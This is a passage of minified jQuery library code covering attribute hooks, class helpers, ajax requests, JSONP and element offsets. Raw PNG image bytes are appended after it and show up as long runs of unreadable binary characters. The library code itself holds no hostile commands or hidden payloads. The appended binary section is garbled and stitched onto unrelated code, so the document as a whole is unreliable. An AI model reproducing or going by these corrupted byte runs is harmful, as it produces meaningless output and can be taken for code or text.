c,d,e=0,f=b&&b.match(E);if(f&&1===a.nodeType)while(c=f[e++])d=m.propFix[c]||c,m.expr.match.bool.test(c)?rc&&qc||!pc.test(c)?a[d]=!1:a[m.camelCase("default-"+c)]=a[d]=!1:m.attr(a,c,""),a.removeAttribute(qc?c:d)},attrHooks:{type:{set:function(a,b){if(!k.radioValue&&"radio"===b&&m.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}}}),nc={set:function(a,b,c){return b===!1?m.removeAttr(a,c):rc&&qc||!pc.test(c)?a.setAttribute(!qc&&m.propFix[c]||c,c):a[m.camelCase("default-"+c)]=a[c]=!0,c}},m.each(m.expr.match.bool.source.match(/\w+/g),function(a,b){var c=oc[b]||m.find.attr;oc[b]=rc&&qc||!pc.test(b)?function(a,b,d){var e,f;return d||(f=oc[b],oc[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,oc[b]=f),e}:function(a,b,c){return c?void 0:a[m.camelCase("default-"+b)]?b.toLowerCase():null}}),rc&&qc||(m.attrHooks.value={set:function(a,b,c){return m.nodeName(a,"input")?void(a.defaultValue=b):mc&&mc.set(a,b,c)}}),qc||(mc={set:function(a,b,c){var d=a.getAttributeNode(c);return d||a.setAttributeNode(d=a.ownerDocument.createAttribute(c)),d.value=b+="","value"===c||b===a.getAttribute(c)?b:void 0}},oc.id=oc.name=oc.coords=function(a,b,c){var d;return c?void 0:(d=a.getAttributeNode(b))&&""!==d.value?d.value:null},m.valHooks.button={get:function(a,b){var c=a.getAttributeNode(b);return c&&c.specified?c.value:void 0},set:mc.set},m.attrHooks.contenteditable={set:function(a,b,c){mc.set(a,""===b?!1:b,c)}},m.each(["width","height"],function(a,b){m.attrHooks[b]={set:function(a,c){return""===c?(a.setAttribute(b,"auto"),c):void 0}}})),k.style||(m.attrHooks.style={get:function(a){return a.style.cssText||void 0},set:function(a,b){return a.style.cssText=b+""}});var sc=/^(?:input|select|textarea|button|object)$/i,tc=/^(?:a|area)$/i;m.fn.extend({prop:function(a,b){return V(this,m.prop,a,b,arguments.length>1)},removeProp:function(a){return a=m.propFix[a]||a,this.each(function(){try{this[a]=void 0,delete this[a]}catch(b){}})}}),m.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(a,b,c){var d,e,f,g=a.nodeType;if(a&&3!==g&&8!==g&&2!==g)return f=1!==g||!m.isXMLDoc(a),f&&(b=m.propFix[b]||b,e=m.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=m.find.attr(a,"tabindex");return b?parseInt(b,10):sc.test(a.nodeName)||tc.test(a.nodeName)&&a.href?0:-1}}}}),k.hrefNormalized||m.each(["href","src"],function(a,b){m.propHooks[b]={get:function(a){return a.getAttribute(b,4)}}}),k.optSelected||(m.propHooks.selected={get:function(a){var b=a.parentNode;return b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null}}),m.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){m.propFix[this.toLowerCase()]=this}),k.enctype||(m.propFix.enctype="encoding");var uc=/[\t\r\n\f]/g;m.fn.extend({addClass:function(a){var b,c,d,e,f,g,h=0,i=this.length,j="string"==typeof a&&a;if(m.isFunction(a))return this.each(function(b){m(this).addClass(a.call(this,b,this.className))});if(j)for(b=(a||"").match(E)||[];i>h;h++)if(c=this[h],d=1===c.nodeType&&(c.className?(" "+c.className+" ").replace(uc," "):" ")){f=0;while(e=b[f++])d.indexOf(" "+e+" ")<0&&(d+=e+" ");g=m.trim(d),c.className!==g&&(c.className=g)}return this},removeClass:function(a){var b,c,d,e,f,g,h=0,i=this.length,j=0===arguments.length||"string"==typeof a&&a;if(m.isFunction(a))return this.each(function(b){m(this).removeClass(a.call(this,b,this.className))});if(j)for(b=(a||"").match(E)||[];i>h;h++)if(c=this[h],d=1===c.nodeType&&(c.className?(" "+c.className+" ").replace(uc," "):"")){f=0;while(e=b[f++])while(d.indexOf(" "+e+" ")>=0)d=d.replace(" "+e+" "," ");g=a?m.trim(d):"",c.className!==g&&(c.className=g)}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):this.each(m.isFunction(a)?function(c){m(this).toggleClass(a.call(this,c,this.className,b),b)}:function(){if("string"===c){var b,d=0,e=m(this),f=a.match(E)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else(c===K||"boolean"===c)&&(this.className&&m._data(this,"__className__",this.className),this.className=this.className||a===!1?"":m._data(this,"__className__")||"")})},hasClass:function(a){for(var b=" "+a+" ",c=0,d=this.length;d>c;c++)if(1===this[c].nodeType&&(" "+this[c].className+" ").replace(uc," ").indexOf(b)>=0)return!0;return!1}}),m.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){m.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),m.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}});var vc=m.now(),wc=/\?/,xc=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;m.parseJSON=function(b){if(a.JSON&&a.JSON.parse)return a.JSON.parse(b+"");var c,d=null,e=m.trim(b+"");return e&&!m.trim(e.replace(xc,function(a,b,e,f){return c&&b&&(d=0),0===d?a:(c=e||b,d+=!f-!e,"")}))?Function("return "+e)():m.error("Invalid JSON: "+b)},m.parseXML=function(b){var c,d;if(!b||"string"!=typeof b)return null;try{a.DOMParser?(d=new DOMParser,c=d.parseFromString(b,"text/xml")):(c=new ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b))}catch(e){c=void 0}return c&&c.documentElement&&!c.getElementsByTagName("parsererror").length||m.error("Invalid XML: "+b),c};var yc,zc,Ac=/#.*$/,Bc=/([?&])_=[^&]*/,Cc=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Dc=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Ec=/^(?:GET|HEAD)$/,Fc=/^\/\//,Gc=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Hc={},Ic={},Jc="*/".concat("*");try{zc=location.href}catch(Kc){zc=y.createElement("a"),zc.href="",zc=zc.href}yc=Gc.exec(zc.toLowerCase())||[];function Lc(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(E)||[];if(m.isFunction(c))while(d=f[e++])"+"===d.charAt(0)?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Mc(a,b,c,d){var e={},f=a===Ic;function g(h){var i;return e[h]=!0,m.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Nc(a,b){var c,d,e=m.ajaxSettings.flatOptions||{};for(d in b)void 0!==b[d]&&((e[d]?a:c||(c={}))[d]=b[d]);return c&&m.extend(!0,a,c),a}function Oc(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===e&&(e=a.mimeType||b.getResponseHeader("Content-Type"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]||a.converters[g+" "+i[0]]){f=g;break}d||(d=g)}f=f||d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Pc(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}m.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:zc,type:"GET",isLocal:Dc.test(yc[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Jc,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":m.parseJSON,"text xml":m.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Nc(Nc(a,m.ajaxSettings),b):Nc(m.ajaxSettings,a)},ajaxPrefilter:Lc(Hc),ajaxTransport:Lc(Ic),ajax:function(a,b){"object"==typeof a&&(b=a,a=void 0),b=b||{};var c,d,e,f,g,h,i,j,k=m.ajaxSetup({},b),l=k.context||k,n=k.context&&(l.nodeType||l.jquery)?m(l):m.event,o=m.Deferred(),p=m.Callbacks("once memory"),q=k.statusCode||{},r={},s={},t=0,u="canceled",v={readyState:0,getResponseHeader:function(a){var b;if(2===t){if(!j){j={};while(b=Cc.exec(f))j[b[1].toLowerCase()]=b[2]}b=j[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===t?f:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return t||(a=s[c]=s[c]||a,r[a]=b),this},overrideMimeType:function(a){return t||(k.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>t)for(b in a)q[b]=[q[b],a[b]];else v.always(a[v.status]);return this},abort:function(a){var b=a||u;return i&&i.abort(b),x(0,b),this}};if(o.promise(v).complete=p.add,v.success=v.done,v.error=v.fail,k.url=((a||k.url||zc)+"").replace(Ac,"").replace(Fc,yc[1]+"//"),k.type=b.method||b.type||k.method||k.type,k.dataTypes=m.trim(k.dataType||"*").toLowerCase().match(E)||[""],null==k.crossDomain&&(c=Gc.exec(k.url.toLowerCase()),k.crossDomain=!(!c||c[1]===yc[1]&&c[2]===yc[2]&&(c[3]||("http:"===c[1]?"80":"443"))===(yc[3]||("http:"===yc[1]?"80":"443")))),k.data&&k.processData&&"string"!=typeof k.data&&(k.data=m.param(k.data,k.traditional)),Mc(Hc,k,b,v),2===t)return v;h=m.event&&k.global,h&&0===m.active++&&m.event.trigger("ajaxStart"),k.type=k.type.toUpperCase(),k.hasContent=!Ec.test(k.type),e=k.url,k.hasContent||(k.data&&(e=k.url+=(wc.test(e)?"&":"?")+k.data,delete k.data),k.cache===!1&&(k.url=Bc.test(e)?e.replace(Bc,"$1_="+vc++):e+(wc.test(e)?"&":"?")+"_="+vc++)),k.ifModified&&(m.lastModified[e]&&v.setRequestHeader("If-Modified-Since",m.lastModified[e]),m.etag[e]&&v.setRequestHeader("If-None-Match",m.etag[e])),(k.data&&k.hasContent&&k.contentType!==!1||b.contentType)&&v.setRequestHeader("Content-Type",k.contentType),v.setRequestHeader("Accept",k.dataTypes[0]&&k.accepts[k.dataTypes[0]]?k.accepts[k.dataTypes[0]]+("*"!==k.dataTypes[0]?", "+Jc+"; q=0.01":""):k.accepts["*"]);for(d in k.headers)v.setRequestHeader(d,k.headers[d]);if(k.beforeSend&&(k.beforeSend.call(l,v,k)===!1||2===t))return v.abort();u="abort";for(d in{success:1,error:1,complete:1})v[d](k[d]);if(i=Mc(Ic,k,b,v)){v.readyState=1,h&&n.trigger("ajaxSend",[v,k]),k.async&&k.timeout>0&&(g=setTimeout(function(){v.abort("timeout")},k.timeout));try{t=1,i.send(r,x)}catch(w){if(!(2>t))throw w;x(-1,w)}}else x(-1,"No Transport");function x(a,b,c,d){var j,r,s,u,w,x=b;2!==t&&(t=2,g&&clearTimeout(g),i=void 0,f=d||"",v.readyState=a>0?4:0,j=a>=200&&300>a||304===a,c&&(u=Oc(k,v,c)),u=Pc(k,u,v,j),j?(k.ifModified&&(w=v.getResponseHeader("Last-Modified"),w&&(m.lastModified[e]=w),w=v.getResponseHeader("etag"),w&&(m.etag[e]=w)),204===a||"HEAD"===k.type?x="nocontent":304===a?x="notmodified":(x=u.state,r=u.data,s=u.error,j=!s)):(s=x,(a||!x)&&(x="error",0>a&&(a=0))),v.status=a,v.statusText=(b||x)+"",j?o.resolveWith(l,[r,x,v]):o.rejectWith(l,[v,x,s]),v.statusCode(q),q=void 0,h&&n.trigger(j?"ajaxSuccess":"ajaxError",[v,k,j?r:s]),p.fireWith(l,[v,x]),h&&(n.trigger("ajaxComplete",[v,k]),--m.active||m.event.trigger("ajaxStop")))}return v},getJSON:function(a,b,c){return m.get(a,b,c,"json")},getScript:function(a,b){return m.get(a,void 0,b,"script")}}),m.each(["get","post"],function(a,b){m[b]=function(a,c,d,e){return m.isFunction(c)&&(e=e||d,d=c,c=void 0),m.ajax({url:a,type:b,dataType:e,data:c,success:d})}}),m._evalUrl=function(a){return m.ajax({url:a,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})},m.fn.extend({wrapAll:function(a){if(m.isFunction(a))return this.each(function(b){m(this).wrapAll(a.call(this,b))});if(this[0]){var b=m(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&1===a.firstChild.nodeType)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return this.each(m.isFunction(a)?function(b){m(this).wrapInner(a.call(this,b))}:function(){var b=m(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=m.isFunction(a);return this.each(function(c){m(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){m.nodeName(this,"body")||m(this).replaceWith(this.childNodes)}).end()}}),m.expr.filters.hidden=function(a){return a.offsetWidth<=0&&a.offsetHeight<=0||!k.reliableHiddenOffsets()&&"none"===(a.style&&a.style.display||m.css(a,"display"))},m.expr.filters.visible=function(a){return!m.expr.filters.hidden(a)};var Qc=/%20/g,Rc=/\[\]$/,Sc=/\r?\n/g,Tc=/^(?:submit|button|image|reset|file)$/i,Uc=/^(?:input|select|textarea|keygen)/i;function Vc(a,b,c,d){var e;if(m.isArray(b))m.each(b,function(b,e){c||Rc.test(a)?d(a,e):Vc(a+"["+("object"==typeof e?b:"")+"]",e,c,d)});else if(c||"object"!==m.type(b))d(a,b);else for(e in b)Vc(a+"["+e+"]",b[e],c,d)}m.param=function(a,b){var c,d=[],e=function(a,b){b=m.isFunction(b)?b():null==b?"":b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};if(void 0===b&&(b=m.ajaxSettings&&m.ajaxSettings.traditional),m.isArray(a)||a.jquery&&!m.isPlainObject(a))m.each(a,function(){e(this.name,this.value)});else for(c in a)Vc(c,a[c],b,e);return d.join("&").replace(Qc,"+")},m.fn.extend({serialize:function(){return m.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=m.prop(this,"elements");return a?m.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!m(this).is(":disabled")&&Uc.test(this.nodeName)&&!Tc.test(a)&&(this.checked||!W.test(a))}).map(function(a,b){var c=m(this).val();return null==c?null:m.isArray(c)?m.map(c,function(a){return{name:b.name,value:a.replace(Sc,"\r\n")}}):{name:b.name,value:c.replace(Sc,"\r\n")}}).get()}}),m.ajaxSettings.xhr=void 0!==a.ActiveXObject?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&Zc()||$c()}:Zc;var Wc=0,Xc={},Yc=m.ajaxSettings.xhr();a.attachEvent&&a.attachEvent("onunload",function(){for(var a in Xc)Xc[a](void 0,!0)}),k.cors=!!Yc&&"withCredentials"in Yc,Yc=k.ajax=!!Yc,Yc&&m.ajaxTransport(function(a){if(!a.crossDomain||k.cors){var b;return{send:function(c,d){var e,f=a.xhr(),g=++Wc;if(f.open(a.type,a.url,a.async,a.username,a.password),a.xhrFields)for(e in a.xhrFields)f[e]=a.xhrFields[e];a.mimeType&&f.overrideMimeType&&f.overrideMimeType(a.mimeType),a.crossDomain||c["X-Requested-With"]||(c["X-Requested-With"]="XMLHttpRequest");for(e in c)void 0!==c[e]&&f.setRequestHeader(e,c[e]+"");f.send(a.hasContent&&a.data||null),b=function(c,e){var h,i,j;if(b&&(e||4===f.readyState))if(delete Xc[g],b=void 0,f.onreadystatechange=m.noop,e)4!==f.readyState&&f.abort();else{j={},h=f.status,"string"==typeof f.responseText&&(j.text=f.responseText);try{i=f.statusText}catch(k){i=""}h||!a.isLocal||a.crossDomain?1223===h&&(h=204):h=j.text?200:404}j&&d(h,i,j,f.getAllResponseHeaders())},a.async?4===f.readyState?setTimeout(b):f.onreadystatechange=Xc[g]=b:b()},abort:function(){b&&b(void 0,!0)}}}});function Zc(){try{return new a.XMLHttpRequest}catch(b){}}function $c(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}m.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(a){return m.globalEval(a),a}}}),m.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),m.ajaxTransport("script",function(a){if(a.crossDomain){var b,c=y.head||m("head")[0]||y.documentElement;return{send:function(d,e){b=y.createElement("script"),b.async=!0,a.scriptCharset&&(b.charset=a.scriptCharset),b.src=a.url,b.onload=b.onreadystatechange=function(a,c){(c||!b.readyState||/loaded|complete/.test(b.readyState))&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChild(b),b=null,c||e(200,"success"))},c.insertBefore(b,c.firstChild)},abort:function(){b&&b.onload(void 0,!0)}}}});var _c=[],ad=/(=)\?(?=&|$)|\?\?/;m.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=_c.pop()||m.expando+"_"+vc++;return this[a]=!0,a}}),m.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(ad.test(b.url)?"url":"string"==typeof b.data&&!(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&ad.test(b.data)&&"data");return h||"jsonp"===b.dataTypes[0]?(e=b.jsonpCallback=m.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(ad,"$1"+e):b.jsonp!==!1&&(b.url+=(wc.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||m.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,_c.push(e)),g&&m.isFunction(f)&&f(g[0]),g=f=void 0}),"script"):void 0}),m.parseHTML=function(a,b,c){if(!a||"string"!=typeof a)return null;"boolean"==typeof b&&(c=b,b=!1),b=b||y;var d=u.exec(a),e=!c&&[];return d?[b.createElement(d[1])]:(d=m.buildFragment([a],b,e),e&&e.length&&m(e).remove(),m.merge([],d.childNodes))};var bd=m.fn.load;m.fn.load=function(a,b,c){if("string"!=typeof a&&bd)return bd.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(" ");return h>=0&&(d=m.trim(a.slice(h,a.length)),a=a.slice(0,h)),m.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(f="POST"),g.length>0&&m.ajax({url:a,type:f,dataType:"html",data:b}).done(function(a){e=arguments,g.html(d?m("<div>").append(m.parseHTML(a)).find(d):a)}).complete(c&&function(a,b){g.each(c,e||[a.responseText,b,a])}),this},m.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){m.fn[b]=function(a){return this.on(b,a)}}),m.expr.filters.animated=function(a){return m.grep(m.timers,function(b){return a===b.elem}).length};var cd=a.document.documentElement;function dd(a){return m.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}m.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=m.css(a,"position"),l=m(a),n={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=m.css(a,"top"),i=m.css(a,"left"),j=("absolute"===k||"fixed"===k)&&m.inArray("auto",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),m.isFunction(b)&&(b=b.call(a,c,h)),null!=b.top&&(n.top=b.top-h.top+g),null!=b.left&&(n.left=b.left-h.left+e),"using"in b?b.using.call(a,n):l.css(n)}},m.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){m.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,m.contains(b,e)?(typeof e.getBoundingClientRect!==K&&(d=e.getBoundingClientRect()),c=dd(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return"fixed"===m.css(d,"position")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),m.nodeName(a[0],"html")||(c=a.offset()),c.top+=m.css(a[0],"borderTopWidth",!0),c.left+=m.css(a[0],"borderLeftWidth",!0)),{top:b.top-c.top-m.css(d,"marginTop",!0),left:b.left-c.left-m.css(d,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||cd;while(a&&!m.nodeName(a,"html")&&"static"===m.css(a,"position"))a=a.offsetParent;return a||cd})}}),m.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c=/Y/.test(b);m.fn[a]=function(d){return V(this,function(a,d,e){var f=dd(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?m(f).scrollLeft():e,c?e:m(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),m.each(["top","left"],function(a,b){m.cssHooks[b]=Lb(k.pixelPosition,function(a,c){return c?(c=Jb(a,b),Hb.test(c)?m(a).position()[b]+"px":c):void 0})}),m.each({Height:"height",Width:"width"},function(a,b){m.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){m.fn[d]=function(d,e){var f=arguments.length&&(c||"boolean"!=typeof d),g=c||(d===!0||e===!0?"margin":"border");return V(this,function(b,c,d){var e;return m.isWindow(b)?b.document.documentElement["client"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?m.css(b,c,g):m.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),m.fn.size=function(){return this.length},m.fn.andSelf=m.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return m});var ed=a.jQuery,fd=a.$;return m.noConflict=function(b){return a.$===m&&(a.$=fd),b&&a.jQuery===m&&(a.jQuery=ed),m},typeof b===K&&(a.jQuery=a.$=m),m});
PNG

   IHDR   (   (   Sy   gAMA  a    cHRM  z&         u0  `  :  pQ<   bKGD	X   IDATh1
1F6^@-y'kZ@dyɫdLO~2z_}r9oo7[ܹ	R`65@Ui]-"Uq GfP$j̣`* fS3pTHTK:qnpt̠6I
G5Tj̦fj촸ԱӢS$j̣`* fS3pT5vZ\iѩnpt̠hp   %tEXtdate:create 2014-10-16T11:29:35-04:00   %tEXtdate:modify 2014-10-16T11:29:35-04:00d    IENDB`PNG

   IHDR   (   (    ;   gAMA  a    cHRM  z&         u0  `  :  pQ<   bKGD1   zIDATH EQM6jE2bݝ!K2g}/\)W@ -@3K,7:ׁ@k U
HrdsMu ESt.s/rڧ+   %tEXtdate:create 2014-10-16T11:29:35-04:00   %tEXtdate:modify 2014-10-16T11:29:35-04:00d    IENDB`PNG

   IHDR   (   d    O   gAMA  a    cHRM  z&         u0  `  :  pQ<   bKGD ݊   IDAT(c`  X u6w   %tEXtdate:create 2014-10-16T11:29:35-04:00   %tEXtdate:modify 2014-10-16T11:29:35-04:00d    IENDB`PNG

   IHDR         D   gAMA  a    cHRM  z&         u0  `  :  pQ<   bKGD1   HIDAT8c5a"oK1|a~Ï?~Ne%7\(1d4F1 G#NP   %tEXtdate:create 2014-10-16T11:29:35-04:00   %tEXtdate:modify 2014-10-16T11:29:35-04:00d    IENDB`PNG

   IHDR        A   gAMA  a    cHRM  z&         u0  `  :  pQ<   bKGD	X   IDATH?H&](v_W`5_YmFѤt?˧;=eY<#  aƷAY&IRɆh`5`u8FD[9tF'pe ͞zΧ=W]{EpK:_0~2UE\   %tEXtdate:create 2014-10-16T11:29:35-04:00   %tEXtdate:modify 2014-10-16T11:29:35-04:00d    IENDB`PNG

   IHDR         G#7v   gAMA  a    cHRM  z&         u0  `  :  pQ<   bKGD ݊   IDAT(ch`p h4i   %tEXtdate:create 2014-10-16T11:29:35-04:00   %tEXtdate:modify 2014-10-16T11:29:35-04:00d    IENDB`PNG

   IHDR     d   5i   gAMA  a    cHRM  z&         u0  `  :  pQ<   bKGD	X  IDATx_gULTT,`JI<Tй<VZ|De`$gp
&%|˽36'P0{|83wܜk}ɜoww     6u;      7;    `    0ظ    L 6     ;    `    0ظ    L 6     ;    `    0ظ    L 6     ;    `    0ظ    L 6     feworEjc^bپ:nPFyyu-dߛ͕^Z3WɬMfS9yk9u[z_ł7s_\+%sA_mxEa/k}X@y}#{c*?6?~}?3T     X	We~ؽM')k(Ur%	y_Mm^evVrfWCXZuXbme3/y:Q.߶S7GuUTӪdvx#^yx-G׻׾UA&     h<,ކt     H2     ;    a5vwȝq=Gz[vnWJi]YWRɑ^T}R֔:Q|RRo%͠YV+sj
=UnJU)kR-ՕFW޵N==Xj%o5F֫x,˕d6/ƔJ.^߾USaڵe+1cm)^q)S:ڤS<FW΅dj\(i<eGɑ2t>-,㭓Wz5WE3HG)veZQ{múIf^yƥ֭ٹw>%:%:3Hϸ*y{ERq    Se     &     L 6     `aU    fy	     ^     Sefa;Oz}׵SˇU2f[nqw߁
IYV
RWƱB-Uf'%S6WʎnspOل'ׂrҳ\˷v5S[nS~53|w9     eY\9pea'z{{,;:݂QyFGlҧ<<;z/EX%vT{œڦbѵ<*Y|+uuKհz"75n޺e^+*)sS
-<-ך)ޖy
xuVYW>ςmYΦwס k|i     X!|
    0 Sǽq{C˒S|gg?&S>0PtfMEΠRvt[z]4]me*բ%/wayc)
ͻWy);C>~,^+uK_ymg[%+73U,גqjV˰v?0ǿ?Ӧ6㟕޻%}7A>l*ǿ>,&Be^jixklM*}شe\sͼ*Mcϗ<yq]߸    {6qKBݼQRRQ{.ADQқk=w^tl*\ϠzUm֪LZK֫R^^^ޕJA]|e]xgkYNyk8tq~*j]WMn!eӛA=ޒo<<{2W,lӡ΀mMoNl3UO}q_otWu2zyfL)LX^W2)jX[+k=[+\[[OxןWFiJ+m+5E樓^굡oykWsIZ(]Oʛy9-ػ?yѝT     q     `',v2wsSnܓlSRѪ.%ZjnTKy%^o\yJtֳB͔oފ]͚o+1z=V؎Ru+YJu}9dk9ϫ^R5\t>'z%wbǔ%3´|Kޭ;aGgUvS$w^?^z(fᵜꫫ蟧dyf㾺%Qm|Gɋ׾]jg[]1aG3vZѥtսg{ҳkWc,+ת[U爒Me%|*ϝZ+F~=EyD4p     6y=~/~~pݢD|??.{W4][f
:'继S	  `tOYp'|?zG"k3÷'2׿v vlq6'3݅[p?z0랾I{fτG³6wvol lx{p2 Lwמ?
bOnT~4-m.|,\7
 	ép:=;ݓsSݝ፭~[Hlt7c]ݍ?սug=.;`  hKW~O  ,l}ͩӍ㾭_;4f\a  _Z>>o{z{yoL,^x/zbxBnW>Xw  0qntφ{m7óݧ˳p{w&\
<rp{wX's[O_{I	 >߱|!\N_?аpbB
_/-;5J0iG+ſX   ^C:=ץ?xp".t-G|f/9|>{뼣@	t،F/W}aKz{8}Ob|yvUKz)00;[Kʯ2|-iꛚJ?SsmӪBGѼEُLcZRK]l}}[&^Sa',~-?/_`e OãqyհfbiXbEZl4dſn    s    & w    	0˰?w     >    &<|2SG6x,w,)u=)]o;F)\@?mQϵk3(}֌>䭐Ʋӽݴ5'E,Ԋ&^5άueFd|5G|lW)y}t_x0     ^          H~     4f    3WSe     `q*    e    `ÙeT    ͆S    &@e_N'ۤ*x-}R*SؚԭqVR+^UJ"euJfzlz}G37^^5[relѕLzz#zJEyV<ک]Z<O-O=Z    N         0as    ë2     `',v6z)c.x*9ҟZ>>zWJR]t=?	d2G+-ݾ^>mkLYЂJSlz+Qfwezt˰v3/ٯ~g        LyX}6     <,     l6é2    vòU    2'U3tujJj|%u7MYU[Q+j(
lyMϣRy}mUXlFW
